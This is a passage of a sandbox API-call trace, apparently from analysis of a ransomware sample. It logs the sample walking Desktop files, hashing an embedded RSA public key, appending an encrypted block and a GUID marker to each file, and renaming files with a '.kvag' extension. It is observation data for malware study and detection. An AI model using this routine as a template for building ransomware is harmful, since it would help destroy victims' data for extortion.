KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.018] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.018] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.018] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.019] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.019] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.019] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.020] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.020] GetLastError () returned 0x0 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] GetLastError () returned 0x0 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] GetLastError () returned 0x0 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] GetLastError () returned 0x0 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] GetLastError () returned 0x0 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] GetLastError () returned 0x0 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] GetLastError () returned 0x0 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] GetLastError () returned 0x0 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] GetLastError () returned 0x0 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] GetLastError () returned 0x0 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] GetLastError () returned 0x0 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] GetLastError () returned 0x0 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] GetLastError () returned 0x0 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] GetLastError () returned 0x0 [0119.021] SetLastError (dwErrCode=0x0) [0119.021] GetLastError () returned 0x0 [0119.021] SetLastError (dwErrCode=0x0) [0119.021] GetLastError () returned 0x0 [0119.021] SetLastError (dwErrCode=0x0) [0119.021] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.021] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.021] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.021] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.021] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.021] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x61efac8 [0119.022] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa4e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.022] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.022] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.022] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.022] CloseHandle (hObject=0x61c) returned 1 [0119.023] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ERSLB.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\erslb.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ERSLB.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\erslb.bmp.kvag")) returned 1 [0119.025] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96a03fc0, ftCreationTime.dwHighDateTime=0x1d4c7cb, ftLastAccessTime.dwLowDateTime=0x309fc580, ftLastAccessTime.dwHighDateTime=0x1d4c6e3, ftLastWriteTime.dwLowDateTime=0x309fc580, ftLastWriteTime.dwHighDateTime=0x1d4c6e3, nFileSizeHigh=0x0, nFileSizeLow=0x11f1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FhmDa9mexQyl2j5W.jpg", cAlternateFileName="FHMDA9~1.JPG")) returned 1 [0119.025] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FhmDa9mexQyl2j5W.jpg") returned=".jpg" [0119.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FhmDa9mexQyl2j5W.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fhmda9mexqyl2j5w.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.025] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=73500) returned 1 [0119.025] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.028] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11ef6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.028] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.028] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x11f1c, lpOverlapped=0x0) returned 1 [0119.028] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.028] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.028] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.028] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.029] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.029] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.029] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.029] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.029] GetLastError () returned 0x0 [0119.029] SetLastError (dwErrCode=0x0) [0119.029] GetLastError () returned 0x0 [0119.029] SetLastError (dwErrCode=0x0) [0119.029] GetLastError () returned 0x0 [0119.029] SetLastError (dwErrCode=0x0) [0119.029] GetLastError () returned 0x0 [0119.029] SetLastError (dwErrCode=0x0) [0119.029] GetLastError () returned 0x0 [0119.029] SetLastError (dwErrCode=0x0) [0119.029] GetLastError () returned 0x0 [0119.029] SetLastError (dwErrCode=0x0) [0119.029] GetLastError () returned 0x0 [0119.029] SetLastError (dwErrCode=0x0) [0119.029] GetLastError () returned 0x0 [0119.029] SetLastError (dwErrCode=0x0) [0119.030] GetLastError () returned 0x0 [0119.030] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.030] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.030] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.030] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.030] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.030] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x61efac8 [0119.031] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11f1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.031] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.031] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.031] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.031] CloseHandle (hObject=0x61c) returned 1 [0119.032] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FhmDa9mexQyl2j5W.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fhmda9mexqyl2j5w.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FhmDa9mexQyl2j5W.jpg.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fhmda9mexqyl2j5w.jpg.kvag")) returned 1 [0119.034] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f50c280, ftCreationTime.dwHighDateTime=0x1d4ca60, ftLastAccessTime.dwLowDateTime=0x71ab9b50, ftLastAccessTime.dwHighDateTime=0x1d4d1b3, ftLastWriteTime.dwLowDateTime=0x71ab9b50, ftLastWriteTime.dwHighDateTime=0x1d4d1b3, nFileSizeHigh=0x0, nFileSizeLow=0x1779b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FPcskdkXDA2.gif", cAlternateFileName="FPCSKD~1.GIF")) returned 1 [0119.034] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FPcskdkXDA2.gif") returned=".gif" [0119.034] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FPcskdkXDA2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fpcskdkxda2.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.034] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=96155) returned 1 [0119.034] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.036] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17775, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.036] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.036] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1779b, lpOverlapped=0x0) returned 1 [0119.036] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.037] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.037] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.037] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.037] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.037] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.037] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.037] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.038] GetLastError () returned 0x0 [0119.038] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.038] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.038] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.038] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.038] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.038] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.039] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1779b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.039] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.039] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.039] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.039] CloseHandle (hObject=0x61c) returned 1 [0119.041] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FPcskdkXDA2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fpcskdkxda2.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FPcskdkXDA2.gif.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fpcskdkxda2.gif.kvag")) returned 1 [0119.042] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e6d30, ftCreationTime.dwHighDateTime=0x1d4ce97, ftLastAccessTime.dwLowDateTime=0xae2cfb40, ftLastAccessTime.dwHighDateTime=0x1d4d515, ftLastWriteTime.dwLowDateTime=0xae2cfb40, ftLastWriteTime.dwHighDateTime=0x1d4d515, nFileSizeHigh=0x0, nFileSizeLow=0x7ede, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I0kpPdyNQrVUZUse2i.doc", cAlternateFileName="I0KPPD~1.DOC")) returned 1 [0119.042] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I0kpPdyNQrVUZUse2i.doc") returned=".doc" [0119.042] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I0kpPdyNQrVUZUse2i.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i0kppdynqrvuzuse2i.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.042] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=32478) returned 1 [0119.042] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.044] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7eb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.044] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.046] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x7ede, lpOverlapped=0x0) returned 1 [0119.046] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.046] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.046] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.046] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.047] 